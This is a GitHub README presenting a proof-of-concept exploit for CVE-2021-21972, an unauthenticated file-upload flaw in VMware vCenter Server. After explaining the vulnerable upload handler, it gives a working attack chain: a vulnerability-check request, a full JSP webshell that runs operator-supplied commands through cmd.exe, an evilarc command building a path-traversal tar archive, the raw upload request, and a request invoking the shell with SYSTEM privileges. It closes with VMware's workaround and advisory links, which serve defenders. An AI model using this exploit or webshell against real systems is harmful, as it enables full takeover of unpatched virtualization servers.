Skip to content

murataydemir/CVE-2021-21972

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)


The vSphere Web Client (HTML5) is essentially an administrative interface that enables management of a vSphere installation. The vSphere Client provides an administrator with access to the key functions of vSphere without the need to access a vSphere server directly. It allows administrators to create new virtual machines and manage existing ones and their resources. As a cross-platform web application, it can be used on all supported operating systems through the supported versions of different web browsers.

CVE-2021-21972 is an unauthorized file upload vulnerability in vCenter Server that leads to remote code execution on remote server. The issue stems from a lack of authentication in the vRealize Operations vCenter Plugin. It received a critical CVSSv3 score of 9.8 out of 10.0. An unauthenticated, remote attacker could exploit this vulnerability by uploading a specially crafted file to a vulnerable vCenter Server endpoint that is publicly accessible. VMware vCenter Server versions 6.5, 6.7 and 7.0 are affected this vulnerability. Successful exploitation of this vulnerability would result in an attacker gaining unrestricted remote code execution (RCE) privileges in the underlying operating system of the vCenter Server. Despite the fact that this vulnerability stems from the vRealize Operations vCenter Plugin, the VMware advisory confirms that this plugin is included in all default installations of vCenter Server. This means that the vulnerable endpoint is available irrespective of the presence of vRealize Operations.

In original blogpost here, discovery of the vulnerability explained as detailed as possible as well as two separate paths to achieve RCE. For Windows systems, an attacker could upload a specially crafted .jsp file in order to gain NT AUTHORITY\SYSTEM privileges on the underlying operating system. For Linux systems, an attacker would need to generate and upload a public key to the server’s authorized_keys path and then connect to the vulnerable server via SSH in order to gain vsphere-ui user privileges. (if SSH service is running and accessible over network)

vropsplugin-service.jar is a java archive file of vropspluginui plugin and includes some of classes and other related functions and methods. Vulnerable part of the code is illustrated as below. In this code snippet belongs to the ServicesController.class in controller of vropsplugin-service.jar. As you can see in down below code snippet, the uploadOvaFile function is responsible for the endpoint/URL that /ui/vropspluginui/rest/services/uploadova

Full path of the vulnerable class: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

As an attacker perspective, the handler for this class is performing the following actions

  • Receiving uploadFile parameter with POST method request (line 2)
  • Reading uploadFile parameter and writing content of this parameter to inputStream variable (line 22)
  • Opening the resulting data as a .tar archive (line 34)
  • Retrieved all of the archive’s entries (line 35)
  • Copying of each current entry was created on disk using the file naming convention: /tmp/unicorn_ova_dir + entry.getName() (line 42 and 47)

Proof of Concept: In order to exploit this vulnerability, you can use the following steps

  1. Verify the vulnerability
  2. Create a .tar archive entry contain the string ../../
  3. Upload crafted archive file to server
  4. Go to related path and call the file that you upload /statsreport/uploadedFileName.jsp

To verify vulnerability, you can use the following request

GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

If the response of above request is similar to down below responses, it means remote host is vulnerable to CVE-2021-21972

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

After that, we need to create crafted .tar file. For this you can use evilarc. Evilarc is basic python script that allows you create a zip file that contains files with directory traversal characters in their embedded path.

Content of cmdjsp.jsp which is basically webshell

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

With the following command, crafted .tar archive file will have generated.

> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp

Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp

> cat winexpl3.tar

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>

Then, just upload .tar file to server using the following request

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

././@LongLink0000000000000000000000000000015300000000000011214 Lustar  00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar  muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) {
            output += s;
         }
      }
      catch(IOException e) {
         e.printStackTrace();
      }
   }
%>

<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--

Response of the above request is down below

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7

SUCCESS

Screen Shot 2021-04-06 at 19 11 52

If response status code of above request is 200 OK and body is SUCCESS, it means the .tar archive file is successfully uploaded to ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport path. Due to flow of application, server will extract .tar file into /statsreport directory. After this stage all you have to do following GET request to remote code execution with NT AUTHORITY\SYSTEM privileges.

GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

Workaround Solution: VMware has been fixed this vulnerability for 7.0 U1c, 6.7 U3l and 6.5 U3n versions respectively. However if the patch cannot be installed, to implement the workaround for CVE-2021-21972 and CVE-2021-21973 on Windows-based vCenter Server deployments perform the following steps:

  1. RDP to the windows based vCenter Server
  2. Take a backup of the file: C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xml
  3. Open the compatibility-matrix.xml file in a text editor
  4. Add this line: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> into pluginsCompatibility element
  5. Stop and restart the vsphere-ui service using the commands
C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
  1. After that, the VMware vROPS Client plugin can be seen as “incompatible” under Administration > Solutions > client-plugins

To implement the workaround for CVE-2021-21972 and CVE-2021-21973 on Linux-based virtual appliances (vCSA) perform the following steps:

  1. Connect to the vCSA using an SSH session and root credentials.
  2. Take a backup of the file: /etc/vmware/vsphere-ui/compatibility-matrix.xml
  3. Open the compatibility-matrix.xml file in a text editor
  4. Add this line: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/> into pluginsCompatibility element
  5. Stop and restart the vsphere-ui service using the commands
> service-control --stop vsphere-ui
> service-control --start vsphere-ui

Note that this vulnerability discovered by Mikhail Klyuchnikov from Positive Technologies and original research post is available here

For more information, visit the following pages.

https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html

About

[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published